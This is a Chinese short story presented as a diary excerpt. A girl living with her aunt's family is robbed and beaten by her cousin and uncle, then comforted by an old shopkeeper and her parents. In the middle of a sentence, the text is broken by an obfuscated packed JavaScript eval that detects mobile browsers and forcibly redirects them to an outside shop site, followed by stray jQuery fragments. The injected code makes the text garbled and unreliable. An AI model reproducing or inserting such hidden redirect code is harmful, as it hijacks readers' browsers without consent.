我叫余照苔。
小学三年级的时候，班上不知怎么的，突然掀起给自己取代号的风潮。
绣花姑娘啦、XX公主啦、XX奥特曼啦……各种各样、千奇百怪的都有。
林雀跑过来问我的代号，顺便分享了她绞尽脑汁的成果——“林花雀”。她觉得花特别美，雀鸟叽叽喳喳吵死了一点也不好。曾经还求林爸林妈帮她改名字。
结果可想而知，被赏了好几个爆炒栗子。
我握着在小卖部新买的自动铅笔，上面的米菲吊坠一晃一晃。
我回答林雀的问题：“青苔吧。”
“咦。”她嫌弃地说了声，“青苔不脏吗？”
上课铃响了，这节课是体育课，林雀戴着一顶粉色的鸭舌帽跑下楼，帽子上面有一个hellokitty的印花。
今年过年，不知道爸爸妈妈能不能也帮我买一顶帽子回来。
我想要蓝色的，上面的印花我无所谓。
日子过得很快，转眼到了我上初中。林雀在县三中，我跟着姑姑留在镇上，爸妈在外地做生意，快过年才回来。
我家一点都不像中国大部分传统家庭严父慈母的模式，倒是调换了，慈父严母。我爸往往唱红脸，我妈往往唱白脸。所以，我更怕我妈多一点儿。
小时候，每当我和我妈争得面红耳赤，我爸就做和事佬，这里搅一搅，那里拌一拌。一边劝我妈别生我气，一边悄咪咪和我说：“你老妈这是更年期到了，别和她一般见识。”
殊不知我爸祖传的大嗓门注定不了拥有什么低音量，所有的话一字不差都落到我妈耳朵里。
我妈冷脸：“余正德，有本事你再说一遍！”
我爸只好陪笑，拿她喜欢的东西哄她，故作滑稽对我进行一番说教。
然后，把我妈逗乐了，她就拉着我一起揶揄他。
我爸说的那些话，我当然是不放在心上的。我知道，这是老爸的小把戏。他总是得逞之后告诉我，我妈其实非常好哄。
拜托，你醒醒。
老妈明明只有你才能哄好吧？
这个“残忍”的事实，我没和他说。
论脾气，我不像我妈的火爆脾气一点就燃，也不像我爸那般面对什么事情都笑呵呵。用我妈的话来说，就是一半一半吧。
本以为我们一家三口的生活这么过下去简直会比家有儿女还欢乐，可惜好景不长，爸妈的电子厂亏了，欠了一屁股的债。他们迫不得已去外地做生意，我迫不得已跟着姑姑生活。
我无意间听到一次爸妈的谈话，印象深刻。
一次是晚上，在客厅，我本来是要下楼倒杯水喝，却瞥到我爸整个人后仰靠在沙发上抽着烟。
“没办法，只能去广东那边再试试，苔苔……先跟着阿丽吧。”阿丽是我爸的妹妹。
这是我第一次见平时总是乐呵呵的爸爸抽烟，第一次见平日风风火火的妈妈拘着背，肩膀耸动靠在桌子上。
那个时候我刚上四年级。爸爸妈妈的语气好像林雀家的大黄走丢时那样颓废，然而平常他们却像什么都没有发生一样。爸爸依旧每天带我去逛超市买我喜欢的曲奇饼，妈妈依旧每天给我做好吃的菜，时不时满足我吃麦当劳的愿望。
其实还是有一些不同的，比如我爸逛超市不再买他最喜欢的茶叶；我妈带我去麦当劳会路过一家女装店，前些天她说要拿下的雪纺裙子，那天她看了很久最后还是带我走了。我吃着麦香鸡，心里隐隐不安。
后来的某天，“不安”来了。
当跟着他们去姑姑家，听着他们的嘱咐，一言不发的我扭头，选择不看他们的眼神。
我怕自己会哭出来。
为什么不带我走啊？
我以后才不会给你们打电话的！永远不会！
看着载着爸妈的汽车越来越远。赌气的我，不肯下楼和他们做最后的道别，可还是忍不住掀开窗帘，望着那辆黑色的汽车驶出弯弯曲曲的马路，变成一个黑点，消失在那个山坡。
从四年级到初三，整整六年，我寄居在姑姑家，期间爸妈也是到了过年才回来，腊月二十三回，大年初六走。一年到头，我只有十四天的时间可以和他们相处。
爸爸和姑姑的感情一般，姑姑答应照顾我无非是偿还我爸人情。她这栋房子的地皮，是我爸帮她低价买来的。所以，姑姑一家起先几年对我还算过得去。
直到上了初中，我开始感觉到一丝丝不同。
我听到她曾经和她丈夫抱怨，这日子什么时候才能到头，明明她每个月都会拿到我爸给她汇的三千块钱。
毕竟不是我的父母，我理解，我忍让。姑父早上多给他儿子一个煎蛋，我视而不见。姑姑每周多给他儿子十五块零花钱，我假装不知。
那个时候，我抱着非常天真的想法——我多忍忍，爸妈就能多省点心，毕竟他们都是为了我才决定去外面打拼。
当他们给我打电话，我一般都说“我挺好的。”语气从别扭到非常平静。
我还是错估了，人情这种虚无缥缈的东西，最难衡量。天平随着砝码的单边增加，只会越来越倾斜，最后压死另一边。
压死我的最后一根稻草，是我姑儿子来偷我攒的钱。当我放学回家发现房间一片混乱，床头柜里的铁盒子装的都是我一点点攒下的钱，如今一分不剩。还有我的日记本和信件，被人翻开，上面全是触目惊心的折痕。
风一吹，纸张哗啦啦地翻动，被吹到我的脚边。
我寄寓在上面的那些秘密，他看去了多少？
心里的火被煽起。我找到表弟，他在沙发上躺着看电视，用我一块一块攒下的钱买了一大堆零食、还有一大沓卡片。
他只比我小两岁，个头和我差不多高。
我扑上去，哭叫着，问他为什么要偷我的钱？为什么要偷看我的日记？他和我扭打在一起，他用力撕扯我的头发，我胡乱抓他的脸。
我从来没有这么愤怒过，使出的力气仿佛在宣泄这么多年的不甘。表弟见打不过我，就喊他爸，尖锐的声音吐出几个字：“这是我家，不是你家！你滚出去！你滚出去！”
姑父听见声音，拉开我们俩。什么话也没问，直接甩我一耳光。
我被扇倒在地，脸火辣辣地疼，嘴巴似乎还弥漫起一股甜甜的血腥味。怎么爬起来的我忘记了，我只记得自己飞快地跑出去，路两旁的树被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572878|142982||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我远远甩在脑后，连爸妈给的手机都没带出来。幸亏他们住在商业街附近，我七拐八拐跑进一家副食店。
店门口坐着一位阿婆，择着菜。我跑过去，问道：“奶奶，能不能借一下电话，我没有手机，我想给爸爸妈妈打个电话。”
阿婆看到我吓了一跳：“幺妹，你这是咋了？被人打了？”她看了一下我的伤势，起身进屋给我拿了张椅子，还有一瓶碘伏和一包棉签。
我有点手足无措，因为我现在身无分文。
阿婆像是看出来什么，慈祥地笑笑：“不要钱，莫怕莫怕，快给阿爸阿妈打个电话，阿婆帮你处理伤。”
我接过她的手机，按下电话号码的数字，随着接通的一声声嘟嘟音，心里那些愤怒消失不见。电话那头传来妈妈的声音：“喂，你好……”
终于强撑不下去，我不想再扮演小大人，不想再为了懂事硬吞委屈。明明我也有爱我的爸爸妈妈，明明我不是没人要的小孩。
我终于忍不住崩溃大哭：“妈……”
我将所有的事情都告诉了爸妈，说完之后，电话听筒传来小小的，克制的抽泣声。
阿婆在旁边的小桌子贴心地放了一包纸，我抽取几张，擦掉鼻涕眼泪，捂住听筒咳嗽几声。再接电话，爸爸说把电话拿给阿婆。
阿婆接过手机，说了好几声“没关系、不碍事、太客气。”随后又把手机递给我。
我的情绪早就下去了，思考着应该怎么回去，没想到下一秒，一个巨大的惊喜砸向我。
这是妈妈为数不多的温柔的声音：“苔苔，我们明天就回来。”上次这么温柔还是我生病了，发烧得迷迷糊糊听见她问我想吃什么。
人懵住的脑袋会影响语言的输出。我愣了好几秒，像是不敢相信——爸妈明天就回来了？思考的神经细胞好像被浆糊黏糊了，只会无意识地重复一遍。
“明天就回来？”
“对，明天我和妈妈来接你。”爸爸也温柔地说着，“好好睡一觉。”
挂断了电话，我才后知后觉地明白过来，刚刚爸妈委托阿婆麻烦照顾我一晚，给他们的孩子一个落脚的地方。
额头只是有些抓伤，手和膝盖有擦伤，这些都被阿婆处理好了，涂了碘伏。最严重的是右边脸颊，现在肿得半边高。
阿婆拿了几根冰棒出来，贴在我脸上。幸好是夏天，化了还能喝。
我连忙道谢，跟着她穿过长长的货物架走廊。有些年头的房子楼梯修得又窄又高，我每一步都走得很小心。
楼上的装修像九十年代的风格，木沙发、五彩玻璃珠子穿成的门帘、格子窗帘、墙上贴了几张旧画报，画报上的卷发女郎涂着大红唇。
我坐在沙发上，细细打量着茶几上的一个盆栽。花盆特别，看得出来是diy的，几块白色的塑料板子围成正方体，其中三面用彩笔画了小王子、玫瑰花、和狐狸。
第四面，是小鱼和一团绿茵茵的、毛绒绒的，不知何物。
盆栽也特别，不是多肉，不是文竹，也不是仙人掌，而是青苔。
是他们口中的，臭烘烘、脏兮兮的青苔。
——
以上节选自余照苔日记。